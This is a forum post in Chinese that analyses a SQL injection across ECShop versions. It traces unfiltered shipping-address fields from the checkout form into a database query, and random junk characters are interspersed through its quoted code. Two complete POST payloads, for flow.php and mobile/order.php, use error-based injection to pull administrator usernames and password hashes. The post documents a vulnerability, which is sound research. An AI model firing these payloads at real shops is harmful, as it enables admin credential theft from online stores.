找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2083|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。* f' L6 K6 f. K& v  `

1 J, N9 O( {6 p5 b/ W2 G    漏洞关键文件:
2 g6 i" E0 Y) t* u! y
! K/ `$ l/ g5 S/ c' x    /includes/lib_order.php
$ S. F" N$ P! s2 j) Z3 q' C
# h1 O# F/ q$ q    关键函数:1 f, n6 h7 ?, f, r1 [6 ^) r: o8 v

* ~" ~; x# m6 W& ~/ ?
3 _! k1 x) k: K* F' z3 q6 a6 m
5 K- ]6 k/ P9 A4 l0 U  [7 S$ U01     function available_shipping_list($region_id_list) 0 @, A* B4 F* X* N0 K

# t6 H; A1 W) V02 { , M- n' r( G9 T% A2 H2 T( m; p

' S* T. b0 \1 N0 }03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
6 e; g5 ^) ^: z6 U2 Q2 S& U$ G  @- T  ^6 a' K& k0 N
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
; J6 I- O! ]" k' b3 _
6 f! s' v, O4 R3 h% D, l. N05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . ! F  z1 [7 P* Z8 L

6 R, d  ^  U% p7 V$ O: a* X8 m06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . & [0 U/ w( q) h* ^2 o/ K$ E5 O. S

) [2 w- L& w5 \9 w07                 $GLOBALS['ecs']->table('area_region') . ' AS r '. 8 x3 t/ p3 e8 t1 W

4 L1 h1 v! y4 Y2 ?! w08             'WHERE r.region_id ' . db_create_in($region_id_list) .
$ _8 R" B- r4 j" A( t9 w/ Q$ l- n1 a/ |. M6 e
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
, z% E" u$ ^2 C9 Z5 \8 ^5 b% |. L7 p$ l
10   % k- a) s! Z+ j/ X" `, l2 F; X6 `, z

+ I6 Z$ I5 e& }3 }" d1 [. o8 Y11     return $GLOBALS['db']->getAll($sql);
: V8 L$ Y; E: n3 Q% n! G
' u: H+ l8 V5 [" X$ ~+ `4 p12 } ( X% A8 ^6 H* c. w. i; a
+ z8 Y  W, o" a% U: E8 K* j' V* N( F
显然对传入的参数没有任何过滤就带入了查询语句。/ I1 ]6 J7 H+ u, ^" V
: Q5 V" S4 w/ A( h0 k& H
下面我们追踪这个函数在flow.php中:
: i, R: l1 m# @) Y& \8 Y 第531行:   
/ I3 I( Z4 H1 L' m0 c
; _4 k) |. |  g1 $shipping_list     = available_shipping_list($region);
( ?1 |( b) c) C6 f
) Q  Z  t+ b6 c' E2 _# P5 U- H
" G# b% w, h! U+ i2 k- o) H
. w7 _- J& {' M1 o- r ; J$ V+ J- V% j/ _9 t) V. g  w
0 U2 \. U" j& T7 X4 v/ }2 d1 g8 m: Y
再对传入变量进行追踪:0 d( @( V& @- x$ [) `

" X/ L# s2 V# t8 J8 R. T第530行:    6 _. w' m( z% R/ E5 y9 c

& A! ]2 y9 k9 I0 u% U; N7 T) q: y1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); 2 q/ W3 H0 G4 T; H2 E0 @) [

$ B/ X2 _2 f! j% T* w8 X
# d! Z# D5 s4 b" A' @# A, [. J6 b- W1 ]+ F

$ D% k, X% g$ y- C' t0 X+ Z4 M7 O+ b$ J' M
第473行:        
# g( h/ v; t5 o" C2 a1 @# Z, p
0 F9 B. T( b" u1 H8 _- a- y1 $consignee = get_consignee($_SESSION['user_id']); % Y5 q/ B* Q' Z

5 |$ ?$ K& ]) R% ]! x到了一个关键函数:3 g6 `( K8 d* p5 W/ t$ r: v( L
  T7 m; v% J1 n+ [& }( ~
/includes/lib_order.php* L5 a7 h" h+ |* g
2 z" ~' v* o( w+ P4 r
% k) |8 n& p9 k5 }& |' {
4 s+ O, H) Y% a
0 `& _/ _0 T9 u* I6 m; B% T
, N& x/ C. r. b' r$ H
01 function get_consignee($user_id)
0 A) Q% O) r7 }& t7 i( a* e; P5 p' j. v# z  L2 p
02 {
9 Z" f, [( z0 ?& C' r) P- P
6 i& S9 K3 v4 x4 m6 h( K" u03     if (isset($_SESSION['flow_consignee'])) / ~$ ~8 o/ F) r, p) v2 F
  \: q' q/ T! v0 ^" k
04     {
: Z: E4 z# v; B4 }. ]$ p, Z8 `
# ]/ N" z5 n; Q8 D4 x; s1 f5 j05         /* 如果存在session,则直接返回session中的收货人信息 */
6 y7 w. h3 T  z; l3 j  C
9 u* c7 x( b) h06   $ q' ?6 Z" z5 l' L( Q

* C3 y  }; R7 L  f2 F07         return $_SESSION['flow_consignee']; 9 b/ M) e3 e4 U  w$ |. K

$ v6 r' s7 d7 }08     }
1 B. y5 M9 f& K1 H8 `7 D# M2 s* \1 [$ E" _
09     else
$ n( C9 k" m" L4 h5 S/ P/ Z" Y) L! O% r) v7 f/ y2 }5 K# n
10     {
3 I% L, {3 U) a$ b5 c! V
4 c/ u( ^: p; l11         /* 如果不存在,则取得用户的默认收货人信息 */ $ c  f( h9 r0 ]. d
: h, }( C9 {' q& z
12         $arr = array(); ( F2 R- D- g% h! @$ T$ \
. ^( c; S. f0 O
13   2 {$ o  w. C" r$ ]; |

% f. B$ D  h' ~14         if ($user_id > 0) 6 S3 a1 M% z$ w2 b

) e2 r7 n" o6 j15         { ; E  Z3 c7 G# N, ~
9 e& X: B7 j& {6 ]1 V
16             /* 取默认地址 */ 6 Q7 C, B/ x0 A7 z5 F* y4 U

- _& d" n4 p0 i17             $sql = "SELECT ua.*".
7 @2 z. r3 i4 U- l1 ]! C9 @7 b; }  x! l
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
3 E( J: l3 J7 [
. L  |! t/ x, `  d* B! J1 g/ j8 s19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";   y7 f& ^, l8 `
' n" Y0 ?' P: v# b! r
20   $ w/ z) t' L7 K9 J

% v/ `* P/ Q9 o1 Z4 S21             $arr = $GLOBALS['db']->getRow($sql);
; R& o4 r" C" A& d
) o2 R: g3 a" d2 Z' E22         } 2 H* z' E9 [' p' @, w0 T% [2 f
1 f- e+ `8 l. @7 x# _4 U. d9 C. i
23   
! q4 Q% {+ s! Z
6 ~' o& e, S2 c; h; l24         return $arr;
3 Y" o2 h! X- ^# h. Z9 E- A$ I* p" W: Z" c7 f4 r+ z
25     } ) ~# E. \' x, k; O! j' H  @

8 A$ y4 l+ F; ]9 \2 t26 }
' H& J& l: |! n. V
+ F& U- O1 f  z/ Y3 o; F6 s9 ]* B' r5 W显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
2 p3 p) u- W6 ?& C/ J$ F+ T! Y& ?9 I( P' I& K/ ~, {7 j

2 X% [8 J5 g" S5 n8 |. Q
4 V" @* d: a/ ?) ?" m4 p& [关键点:: _. m: x3 t7 d4 D+ [

% w) \5 O, B* ~第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
; F, S; r1 N: W3 |( H; E# @. {  U* r. L8 H2 E" s& w. r
这里对传入参数反转义存入$_SESSION中。
/ G/ p; Y3 g* C* X* G" g0 o. c& c3 t
6 `  O) i4 ~3 Z  v$ ~8 r

. B5 E; X5 j5 Z4 J! C- P* ^然后看下:
% R  i' L( K& x) U& V, |' h4 v- A% V$ Y$ q- a

2 C' a% {. S. d- H: s/ @) N" ]' R" Q
   
1 U; P4 l! ^2 T) V) r1 I9 v& j* I4 Q+ \7 f
01 $consignee = array(
  ?, p; A" D0 Y( y8 ~2 _3 V2 \; i; g5 d8 M: f
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
+ p6 m1 P0 k% Y1 h
% v/ u; b4 k8 _3 `6 }8 a; N03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
3 u! X9 r' u0 I8 H2 p4 Y' |
. _3 }9 n% F. B, N) X  k8 A04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
8 [1 p- u7 z- Q) k# @" s$ {$ E. B- M
05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
- @* j! p7 A/ {8 C8 K. r+ Z  K2 I9 i7 a
06         'city'          => empty($_POST['city'])       ? '' _POST['city'], $ N  I0 b9 K- d4 e

" k2 V4 {+ v! K9 o8 q07         'district'      => empty($_POST['district'])   ? '' _POST['district'], 5 u5 H( Q. P0 F- l! Q7 m

+ x1 u; S+ R' F" o# M4 y08         'email'         => empty($_POST['email'])      ? '' _POST['email'], $ U; e* `! ^" `* j* v# i

6 N1 h/ Q: R0 ~; \09         'address'       => empty($_POST['address'])    ? '' _POST['address'], 4 T+ S" [( \7 u! ?# u) t
; M: T0 e/ I! [6 }+ h
10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
7 g8 t( r5 x& |; c8 O
& S& a4 z: V1 U1 m. ^  Z11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
# R# _2 A/ Q" T
0 }* C! |' m: {" a' f. Z  u& V12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
  ?5 g3 A4 k) V: n! a6 @' {$ v" K
& N% {) A/ P5 m4 Q" L13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], ' s0 i2 ^4 J5 e; K
  N5 H( J7 Y  i: @
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'], % @- z" ~' ]8 ]8 L
& r, p$ U* F6 U- J9 T0 v; C
15     ); / f1 O" v8 ]! d6 Y8 X: k" A
+ t* U/ O* q6 U7 K" \& Y1 M
好了注入就这样出现了。
1 r, ?% g/ Z+ h3 [* ]# y( g' J  n( i4 ~# |
==================' A  P8 [7 J* t- [
) E2 J, e: ^: a# c% s
注入测试:
# K3 o' z* d' B* d: t4 ~
7 N" _7 b  m+ }5 t5 I* S& n5 {! }环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
+ ^2 o6 D: z1 J. c8 G1 v5 V: H) {- ^4 U* `
测试程序:ECShop_V2.7.3_UTF8_release1106
( g! H: m( f$ V* J- c" A# b0 F! c% q! B7 _/ ^5 R8 g7 `- U3 x* x
9 a4 U& F: s( B
( j: N8 |' P/ f  q
1.首先需要点击一个商品加入购物车
' B% X0 E2 F/ v2 {/ p  C3 \
. w/ _0 ~% i4 @0 e/ E2.注册一个会员帐号
% b2 k) Q% y9 B* d+ F6 L( H0 O! O2 ]) ~+ G2 i
3.post提交数据
3 h9 |" p: d1 L+ t+ ~' Y. b* x! X2 p' E, D% b
8 J$ ?0 Z4 I/ S
. E7 l$ e$ L# U# b; c
1 http://127.0.0.1/ecshop/flow.php
6 A5 i$ X3 G% g8 m
8 L/ q; _1 s1 \; ]$ U5 w1 q2   
; w$ A: a- \2 A6 T
# D) j/ l2 T' x3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
0 R- C( |8 ]; b" x5 x举一反三,我们根据这个漏洞我们可以继续深入挖掘:( M$ f/ z. y$ c% T5 ~7 j- V. ?6 Q
, ^4 s8 n$ z3 |, S* `
我们搜寻关键函数function available_shipping_list()" v3 v5 ~, O5 p/ u

. h) i. D; F1 P$ I, l+ I4 O在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同, S$ ]( t' v$ T# c! h
2 n! V7 i1 I$ R" W' ]! [5 R
利用exp:
0 T! Z( C7 [# `+ f
# K$ V1 q, S6 V- M: F! A1.点击一个商品,点击购买商标1 S: T7 @& `# l, L; B: `$ f0 o2 ~
8 p& E" |: G2 E2 g8 F* f! ]9 {
2.登录会员帐号
) [$ j# P9 d- E' V8 l6 q/ u1 {. b- J* a
3.post提交:
5 o7 o( I5 A& i! [
3 O& a0 x" B! W* O. N3 Ihttp://127.0.0.1/ecshop/mobile/order.php0 d- K. Y1 |/ v6 O

" Y% ~4 ]8 E1 G* S$ q! S0 ]4 q
5 Y3 H3 G$ V7 u8 k6 ~$ R  z) o7 U
% n* n7 n6 J/ Y' x. M  V3 jcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=  [. Y+ D! v2 ]/ |! @) i3 W5 e
3 U% d& E# `1 B% `4 t* }1 q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表